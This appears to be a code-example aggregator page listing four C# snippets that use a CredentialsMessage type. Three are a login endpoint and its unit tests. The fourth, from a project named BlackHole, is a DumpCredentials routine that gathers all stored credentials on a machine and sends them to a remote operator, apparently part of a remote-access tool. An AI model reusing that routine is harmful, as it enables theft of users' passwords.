コード例 #1
0
        public async Task ItSavesAndReturnsANewAuthTokenIfLoginWasSuccessful()
        {
            var credentialsMessage = new CredentialsMessage
            {
                UserName       = "******",
                Password       = "******",
                UniqueDeviceId = "some unique id"
            };

            var loggedInUser = new ApplicationUser
            {
                Id = "some user id"
            };

            autoMocker.Get <ApplicationUserManager>().Expect(mock => mock.FindAsync(
                                                                 Arg <string> .Matches(userName => userName == credentialsMessage.UserName),
                                                                 Arg <string> .Matches(password => password == credentialsMessage.Password)))
            .Return(Task.FromResult(loggedInUser));

            var someNewAuthToken = new AuthToken("the auth token value", new DateTime());

            autoMocker.Get <IAuthTokenGenerator>().Expect(mock => mock.GenerateAuthToken(loggedInUser.Id, credentialsMessage.UniqueDeviceId)).Return(someNewAuthToken);

            //--act
            var actualResponse = await autoMocker.ClassUnderTest.Login(credentialsMessage);

            Assert.That(actualResponse.Content, Is.TypeOf(typeof(ObjectContent <NewAuthTokenMessage>)));
            var content             = actualResponse.Content as ObjectContent <NewAuthTokenMessage>;
            var newAuthTokenMessage = content.Value as NewAuthTokenMessage;

            Assert.That(newAuthTokenMessage.AuthenticationToken, Is.EqualTo(someNewAuthToken.AuthenticationTokenString));
            Assert.That(newAuthTokenMessage.AuthenticationTokenExpirationDateTime, Is.EqualTo(someNewAuthToken.AuthenticationTokenExpirationDateTime));
        }
コード例 #2
0
        public async Task <HttpResponseMessage> Login(CredentialsMessage credentialsMessage)
        {
            var user = await applicationUserManager.FindAsync(credentialsMessage.UserName, credentialsMessage.Password);

            if (user == null)
            {
                return(Request.CreateErrorResponse(HttpStatusCode.Unauthorized, "Invalid credentials provided."));
            }

            NewAuthTokenMessage newAuthTokenMessage = new NewAuthTokenMessage
            {
                AuthenticationToken = authTokenGenerator.GenerateAuthToken(user.Id)
            };

            return(Request.CreateResponse(HttpStatusCode.OK, newAuthTokenMessage));
        }
コード例 #3
0
        public async Task ItReturnsAnHttp401NotAuthorizedResponseIfTheUsernameAndPasswordIsNotValid()
        {
            var credentialsMessage = new CredentialsMessage
            {
                UserName = "******",
                Password = "******"
            };

            autoMocker.Get <ApplicationUserManager>().Expect(mock => mock.FindAsync(
                                                                 Arg <string> .Matches(userName => userName == credentialsMessage.UserName),
                                                                 Arg <string> .Matches(password => password == credentialsMessage.Password)))
            .Return(Task.FromResult((ApplicationUser)null));

            var actualResponse = await autoMocker.ClassUnderTest.Login(credentialsMessage);

            AssertThatApiAction.HasThisError(actualResponse, HttpStatusCode.Unauthorized, "Invalid credentials provided.");
        }
コード例 #4
0
ファイル: MasterServer.cs プロジェクト: 5l1v3r1/BlackHole-1
        /// <summary>
        ///
        /// </summary>
        /// <param name="message"></param>
        private void DumpCredentials(StartCredentialsMessage message)
        {
            SendStatus(message.WindowId, "Credentials", "Started");

            Task.Factory.StartNew(() =>
            {
                try
                {
                    var credentialsMessage = new CredentialsMessage(
                        LibCredentials.LibCredentials.GetAllCredentialsAsDictionaries());

                    ExecuteComplexSendOperation(message.WindowId,
                                                "Credentials",
                                                () => credentialsMessage);
                }
                catch
                {
                    // cancelled
                    SendStatus(message.WindowId, "Credentials", "Ended");
                }
            });
        }